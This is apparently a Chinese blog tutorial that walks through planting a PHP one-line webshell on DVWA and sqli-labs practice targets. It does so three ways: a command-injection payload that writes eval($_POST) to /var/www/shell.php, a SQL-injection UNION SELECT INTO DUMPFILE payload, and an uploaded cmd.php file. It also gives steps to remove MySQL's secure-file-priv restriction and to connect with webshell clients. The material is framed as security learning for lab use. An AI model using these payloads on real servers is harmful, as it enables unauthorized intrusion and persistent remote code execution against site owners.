当前位置: 首页 > news >正文

一句话木马攻击复现:揭示黑客入侵的实战过程

这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。

准备环境

  • OWASP虚拟机
  • xfp 7与xshell 7

​ 

  • DVWA系统默认的账号密码均为:admin/admin 

1、命令注入中复现

攻击payload

127.0.0.1 | echo "<?php @eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php

这个命令的目的是在服务器上创建一个名为 shell.php 的文件,其中包含 PHP 代码。让我们逐步分析该命令:

  • 127.0.0.1: 这是一个IP地址(本地回环地址),代表要连接的目标主机。

  • |:管道符号,用于将前一个命令的输出作为后一个命令的输入。

  • echo "<?php @eval(\$_POST[\"cmd\"])?>": 这是一个echo命令,它将字符串 <?php @eval(\$_POST["cmd"])?> 输出到标准输出。

  • >:重定向操作符,将前一个命令的输出写入到后一个命令指定的文件中。

  • /var/www/shell.php:这是目标文件路径,表示要将输出写入到 /var/www/ 目录下的名为 shell.php 的文件。

综上所述,如果成功执行此命令,则会在服务器的 /var/www/ 目录下创建一个名为 shell.php 的文件,并将 <?php @eval(\$_POST["cmd"])?> 的内容写入到该文件中。由于该PHP代码使用了 eval 函数,它会执行用户在 POST 请求(通过 cmd 参数)中输入的命令。

下面是一些常见的命令连接符及其作用:(如果管道符“|”被过滤了就可以使用其他的代替)
  1. &:将两个命令并行执行,无论前一个命令是否成功。

  2. &&:只有当前一个命令成功执行时,才会执行后一个命令。

  3. |:将前一个命令的输出作为后一个命令的输入。

  4. ||:只有当前一个命令执行失败时,才会执行后一个命令。

复现

在靶机中查看木马文件 

最后就能在靶机看到我们的文件了,我们的文件保存在/var/www/目录下,查看方法:

  • cd  /var/www/    ->  ls          # 之后就能看到/var/www/下的文件信息

我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件

使用蚁剑或菜刀连接木马

​ 

成功进入目标文件管理界面,攻击复现成功

注意:虽然我们的shell.php木马文件存放在/var/www/目录下,但是我们连接只需要使用靶机IP+文件名即可。因为Web服务器已经将根目录设置为 /var/www/,所以不需要在 URL 中显式指定该目录。只需使用 http://<IP地址>/文件名 的格式即可访问该文件。

2、SQL注入中复现

攻击payload

-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --
  • UNION SELECT 1,1,"<?php @eval(\$_POST[\"cmd\"])?>":这是一个 UNION SELECT 查询,它将会返回两列。第一列是数字 1,第二列是数字 1,第三列是 PHP 代码 <?php @eval(\$_POST["cmd"])?>。这段代码是恶意的,它尝试执行通过 POST 请求传递的 cmd 参数作为代码进行执行。
  • INTO DUMPFILE "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php":这个部分尝试将查询结果保存到指定的文件路径 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 中。这将会创建一个名为 shell.php 的文件,并将查询结果写入其中。
  • --:这是 SQL 中的注释符号,表示注释掉后续的内容。

总的来说,该语句的目的是将恶意代码写入到 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 文件中,以便在攻击者控制的环境中执行该代码。这种攻击常用于获取未经授权的访问权限、控制目标服务器或进行其他恶意活动。

复现(我这里用sqlilabs靶场

安装:详细安装sqlmap详细教程_sqlmap安装教程_mingzhi61的博客-CSDN博客 

安装完成后打开:http://127.0.0.1/sqlilabs/Less-2/?id=1

本来我是用DVWA靶场复现的搞了半天都搞不定一直提示“用户“dvwa”@“%”的访问被拒绝(使用密码:YES)”解决不了换靶场 

1)先判断显示位(测试是否存在SQL注入)

-1 union select 1,2,3 -- -

命令可以使用插件 HackBar 来发送也可以直接粘贴到网络的url中执行(工具本文开头的环境准备可以下载) 

2)再判断路径(判断MysQL的存储路径方便我们写入一句话马)

-1 union select 1,@@datadir,3 -- -

3)写入WebShell

-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --

代码执行只要不报错就行成功了

注意:MySQL 服务器默认情况使用了 --secure-file-priv 选项,限制了 INTO OUTFILE 的功能。

解决:你可以尝试以下步骤:

  • 打开 phpStudy 的安装目录,找到 my.ini(或 my.cnf)配置文件。
  • 在配置文件中找到 [mysqld] 部分。
  • 在 [mysqld] 部分添加或修改下列行:
[mysqld] secure-file-priv=""
  • 保存配置文件,并重启 phpStudy 中的 MySQL 服务器。

通过将 secure-file-priv 设置为空字符串,你可以移除文件路径限制,允许使用 INTO OUTFILE 语句将查询结果输出到任意位置。

连接

参考文章:SQL注入篇——一句话木马_sql注马语句_admin-r꯭o꯭ot꯭的博客-CSDN博客 

3、文件上传漏洞中复现

攻击payload

准备一个木马文件如:cmd.php

<?php @eval($_POST["cmd"])?>

复现

连接

主机IP+/dvwa/hackable/uploads/cmd.php# 注意路径前面要加上dvwa,因为我们是在dvwa靶场上实验的,在虚拟机的WWW目录下有很多个靶场所以我们要指定靶场

相关文章:

一句话木马攻击复现:揭示黑客入侵的实战过程

这篇文章旨在用于网络安全学习&#xff0c;请勿进行任何非法行为&#xff0c;否则后果自负。 准备环境 OWASP虚拟机xfp 7与xshell 7 ​ DVWA系统默认的账号密码均为&#xff1a;admin/admin 1、命令注入中复现 ​ 攻击payload 127.0.0.1 | echo "<?php eval(…...

【游戏开发教程】Unity Cinemachine快速上手,详细案例讲解(虚拟相机系统 | 新发出品 | 良心教程)

文章目录 一、前言二、插件下载三、案例1&#xff1a;第三人称自由视角&#xff0c;Free Look character场景1、场景演示2、组件参数2.1、CinemachineBrain&#xff1a;核心2.2、CinemachineFreeLook&#xff1a;第三人称自由视角相机2.2.1、设置Follow&#xff1a;跟随2.2.2、…...

当图像宽高为奇数时,如何计算 I420 格式的uv分量大小

背景 I420 中 yuv 数据存放在3个 planes 中。 网上一般说 I420 数据大小为 widthheight1.5 但是当 width 和 height 是奇数时&#xff0c;这个计算公式会有问题。 I420 中 u 和 v 的宽高分别为 y 的一半。 但是当不能整除时&#xff0c;是如何取整呢&#xff1f;向上还是向下&…...

结构型模式-代理模式

代理模式* 定义&#xff1a;在代理模式&#xff08;Proxy Pattern&#xff09;中&#xff0c;一个类代表另一个类的功能。这种类型的设计模式属于结构型模式。在代理模式中&#xff0c;我们创建具有现有对象的对象&#xff0c;以便向外界提供功能接口。 意图&#xff1a;为其…...

SpringBoot+Redis BitMap 实现签到与统计功能

最近项目里需要集成签到和统计功能&#xff0c;连续签到后会给用户发放一些优惠券和奖品&#xff0c;以此来吸引用户持续在该品台进行活跃。下面我们一些来聊一聊目前主流的实现方案。 因为签到和统计的功能涉及的数据量比较大&#xff0c;所以在如此大的数据下利用传统的关系…...

P5739 【深基7.例7】计算阶乘

题目描述 求 n ! n! n!&#xff0c;也就是 1 2 3 ⋯ n 1\times2\times3\dots\times n 123⋯n。 挑战&#xff1a;尝试不使用循环语句&#xff08;for、while&#xff09;完成这个任务。 输入格式 第一行输入一个正整数 n n n。 输出格式 输出一个正整数&#xff0c…...

scikit-learn中OneHotEncoder用法

One-Hot编码&#xff0c;又称为一位有效编码&#xff0c;是分类变量作为二进制向量的表示。这首先要求将分类值映射到整数值&#xff0c;然后&#xff0c;每个整数值被表示为二进制向量&#xff0c;将整数索引标记为1&#xff0c;其余都标为0。 OneHotEncoder()常用参数解释 …...

linux操作系统的权限的深入学习(未完)

1.Linux权限的概念 Linux下有两种用户&#xff1a;超级用户&#xff08;root&#xff09;、普通用户。 超级用户&#xff1a;可以再linux系统下做任何事情&#xff0c;不受限制 普通用户&#xff1a;在linux下做有限的事情。 超级用户的命令提示符是“#”&#xff0c;普通用户…...

C 连接MySQL8

Linux 安装MySQL 8 请参考文章&#xff1a;Docker 安装MySQL 8 详解 Visual Studio 2022 编写C 连接MySQL 8 C源码 #include <stdio.h> #include <mysql.h> int main(void) {MYSQL mysql; //数据库句柄MYSQL_RES* res; //查询结果集MYSQL_ROW row; //记录结…...

福利之舞:员工的心跳与企业的平衡术

引言&#xff1a;员工福利与满意度的关系 在现代企业中&#xff0c;员工福利已经不仅仅是一种待遇&#xff0c;而是与员工满意度、忠诚度和生产力紧密相连的关键因素。一个合理且吸引人的福利制度可以大大提高员工的工作积极性&#xff0c;同时也能够吸引和留住顶尖的人才。但…...

MyBatis动态语句且如何实现模糊查询及resultType与resultMap的区别---详细介绍

前言 前面我们学习了如何使用Mybatis实现简单的增删改查。今天我们来学习如何使用动态语句来根据不同的条件生成不同的SQL语句。这在实际开发中非常有用&#xff0c;因为通常查询条件是多样化的&#xff0c;需要根据实际情况来拼接SQL语句&#xff0c;那什么是MyBatis动态语句呢…...

麒麟OS国产系统身份证阅读器web网页开发使用操作流程

1、打开麒麟软件商店&#xff0c;选择驱动&#xff0c;找到身份证阅读器&#xff0c;找到东信智能身份证社保卡读卡器&#xff0c;点击安装。 2、安装完成后&#xff0c;点击打开 3、进入读卡界面 4、进入代码集成 <script type"text/javascript">var ctnFin…...

前端面试:【事件处理】探索事件流、委托与事件对象

嗨&#xff0c;亲爱的事件探险家&#xff01;在JavaScript的世界中&#xff0c;事件处理是与用户互动的关键。本文将带你探索事件流、事件委托、常见事件类型和事件对象&#xff0c;这些知识将帮助你成为事件处理的大师。 2. 事件流&#xff1a;事件的旅程 事件流描述了事件从…...

c语言函数指针使用例子

一、是什么? c语言函数名是一段代码首地址,连接器链接时放在text段,下面例子会把函数名打印出来,.map文件内存分布查看相关代码段函数: 下面例子实现步骤: 来源于uboot 的初始化 board_f.c typedef int (*init_fun_t)(void); (1)构建gd数据类型 (2)初始化全局gd变量 (3)实…...

云计算技术应用专业实训室建设方案

一、 云计算技术应用系统概述 云计算技术是一种基于互联网的计算模式&#xff0c;通过将计算资源&#xff08;如服务器、存储、数据库、网络、软件等&#xff09;提供为一种服务&#xff0c;使用户能够按需获取和使用这些资源&#xff0c;而无需拥有和管理实际的物理设备。云计…...

C语言学习之共用体(union)的运用

C语言中的共用体&#xff1a;伪代码表示&#xff1a; union 类型名{ 数据类型1 成员1; 数据类型2 成员2; 数据类型3 成员3; . . . 数据类型n 成员n; };共用体的特点&#xff1a;1.所有的成员是共享同一块内存空间的2.所有成员的首地址是一样的&#xff1b;3.大小取决于共用体中…...

Sentinel 控制台(集群流控管理)

规则配置 要通过 Sentinel 控制台配置集群流控规则&#xff0c;需要对控制台进行改造。我们提供了相应的接口进行适配。 从 Sentinel 1.4.0 开始&#xff0c;我们抽取出了接口用于向远程配置中心推送规则以及拉取规则&#xff1a; DynamicRuleProvider<T>: 拉取规则Dy…...

PMP P-08 Communication Management

...

matlab中判断数据的奇偶性(mod函数、rem函数)

用Matlab判断一个数是偶数还是奇数 1、mod函数 X 25;%要判断的数 if mod(X,2)1disp(奇数);%奇数 elsedisp(偶数);%偶数 end结果 2、rem函数 n25; if rem(n,2)0display(偶数); elsedisplay(奇数); end结果...

Redis使用

环境配置 代码实现 Java public CoursePublish getCoursePublishCache(Long courseId){//查询缓存Object jsonObj redisTemplate.opsForValue().get("course:" courseId);if(jsonObj!null){String jsonString jsonObj.toString();System.out.println("从缓…...

SVN 查看历史信息

SVN 查看历史信息 引言 Subversion(简称SVN)是一款广泛使用的版本控制系统,它允许用户跟踪源代码的变更历史,并协同工作。在软件开发过程中,查看历史信息对于理解代码的演变过程、回溯错误、分析代码演变趋势等至关重要。本文将详细介绍如何在SVN中查看历史信息。 SVN …...

ROS2 核心概念与实战应用指南

1. ROS2核心概念解析&#xff1a;从零开始理解机器人开发框架 第一次接触ROS2时&#xff0c;我被它复杂的术语体系搞得晕头转向。直到把机器人项目比作一个餐厅&#xff0c;才突然开窍——节点就像厨师和服务员&#xff0c;话题是传菜窗口&#xff0c;服务是点单对讲机&#xf…...

obsidian-i18n:让Obsidian插件全面支持中文的效率提升方案

obsidian-i18n&#xff1a;让Obsidian插件全面支持中文的效率提升方案 【免费下载链接】obsidian-i18n 项目地址: https://gitcode.com/gh_mirrors/ob/obsidian-i18n Obsidian作为一款强大的知识管理工具&#xff0c;其丰富的插件生态极大扩展了核心功能。然而&#xf…...

阿里巴巴Sentinel流量控制:从基础概念到核心算法实现

阿里巴巴Sentinel流量控制&#xff1a;从基础概念到核心算法实现 【免费下载链接】Sentinel alibaba/Sentinel: Sentinel 是阿里巴巴开源的一款面向分布式服务架构的流量控制、熔断降级组件&#xff0c;提供实时监控、限流、降级和系统保护功能&#xff0c;适用于微服务治理场景…...

你的Matlab三维柱状图为什么不好看?可能是忽略了这3个细节:坐标轴、网格线与字体搭配

你的Matlab三维柱状图为什么不够高级&#xff1f;3个被低估的设计细节解析 科研图表不仅是数据的载体&#xff0c;更是研究者专业素养的视觉名片。当同行评审翻开论文时&#xff0c;一张配色考究、细节精致的图表往往能在几秒钟内建立可信度——这正是许多Matlab用户使用bar3绘…...

RecyclerView 动态布局实战:ItemView 高宽自适应与多列切换

1. RecyclerView动态布局的核心挑战 在Android开发中&#xff0c;RecyclerView是最常用的列表控件之一。但很多开发者都会遇到这样的问题&#xff1a;如何让ItemView根据数据量动态调整高度和宽度&#xff1f;特别是在需要实现单列和多列布局自动切换的场景下&#xff0c;这个问…...

Qt加载OBJ或STL模型文件,支持鼠标移动、缩放、旋转Demo

Qt加载模型文件obj或者stl实例&#xff0c;支持鼠标移动缩放旋转demo最近在捣鼓Qt的3D可视化功能&#xff0c;发现用Qt搞个模型查看器比想象中简单。咱们先整点实际的——做个能加载obj/stl模型&#xff0c;支持鼠标拖拽旋转、平移、缩放的demo。废话不多说&#xff0c;直接撸代…...

STLink调试工具与STM8/STM32连接技术详解

STLink与STM8/STM32单片机连接技术详解1. STLink调试工具概述STLink是意法半导体(STMicroelectronics)官方推出的嵌入式开发调试工具&#xff0c;主要用于STM8和STM32系列单片机的程序烧录和在线调试。该工具具有以下核心功能特性&#xff1a;支持SWD(Serial Wire Debug)和SWIM…...

非支配排序蜣螂优化算法(NSDBO)——多目标优化问题的有效解决方法

非支配排序的蜣螂优化算法&#xff08;Non-dominated Sorting Dung Beetle Optimization, NSDBO&#xff09;是一种结合了非支配排序机制和蜣螂优化算法&#xff08;Dung Beetle Optimization, DBO&#xff09;的进化计算方法&#xff0c;专门用于解决多目标优化问题。 在多目标…...

实在 Agent 和通用大模型有什么不一样?深度拆解 AI Agent 的感知、决策与执行逻辑

获取系统时间这一任务&#xff0c;虽然看似简单&#xff0c;却深刻揭示了 AI Agent 与通用大模型在本质、能力、架构和应用场景上的根本性差异。通用大模型&#xff08;LLM&#xff09;&#xff0c;如 GPT、Claude 或通义千问等&#xff0c;其核心是基于海量文本数据训练出的概…...